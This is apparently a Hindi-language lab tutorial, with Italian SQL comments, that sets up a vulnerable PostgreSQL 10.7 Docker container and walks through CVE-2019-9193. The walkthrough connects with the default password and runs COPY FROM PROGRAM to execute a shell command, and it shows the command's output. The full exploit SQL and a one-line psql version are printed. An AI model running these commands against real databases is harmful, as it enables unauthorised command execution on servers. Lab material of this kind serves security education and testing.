
# CVE-2019-9193 PostgreSQL के माध्यम से मनमाना कमांड निष्पादन प्रदर्शित करने वाली Docker-आधारित प्रयोगशाला यह Docker-आधारित प्रयोगशाला COPY FROM PROGRAM के माध्यम से CVE-2019-9193 PostgreSQL मनमाना कमांड निष्पादन को प्रदर्शित करती है, जिसमें सुरक्षा परीक्षण और शिक्षा के लिए चरण-दर-चरण PoC (प्रूफ ऑफ कॉन्सेप्ट) शामिल है।
PostgreSQL एक शक्तिशाली ओपन-सोर्स रिलेशनल डेटाबेस प्रबंधन प्रणाली है। 9.3 से 11 तक के संस्करणों में मौजूद एक कमजोरी प्रशासकों या COPY TO/FROM PROGRAM विशेषाधिकार वाले उपयोगकर्ताओं को सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है।
docker-compose.ymlनिम्नलिखित सामग्री के साथ एक docker-compose.yml फ़ाइल बनाएँ:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
कंटेनर को निम्नलिखित कमांड से चलाएँ:
docker compose up -d
सत्यापित करें कि कंटेनर चल रहा है:
docker ps
आउटपुट में PostgreSQL कंटेनर को पोर्ट 5432 पर सुनते हुए दिखाना चाहिए।
यदि आपके पास psql क्लाइंट स्थापित नहीं है, तो आप इसे इसके साथ कर सकते हैं:
apt-get install postgresql-client
Kali से सीधे डेटाबेस से जुड़ें:
psql -h localhost -p 5432 -U postgres
आपसे पासवर्ड माँगा जाएगा, दर्ज करें:
postgres
PostgreSQL कंसोल से कनेक्ट होने के बाद, कमजोरी का फायदा उठाने के लिए निम्नलिखित कमांड चलाएँ:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
आप सब कुछ सीधे कमांड लाइन से चला सकते हैं:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
यदि एक्सप्लॉइट सफल रहा है, तो आपको इसी तरह का आउटपुट दिखना चाहिए:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
बाहर निकलने के लिए \q दबाएँ:
\q
यह कमजोरी प्रशासनिक विशेषाधिकारों के साथ मनमाने कमांड निष्पादन की अनुमति देती है। इसे केवल नियंत्रित वातावरण में और अध्ययन या सत्यापन के उद्देश्य से उपयोग करें। अनधिकृत सिस्टम पर इस कमजोरी का शोषण करना अवैध है।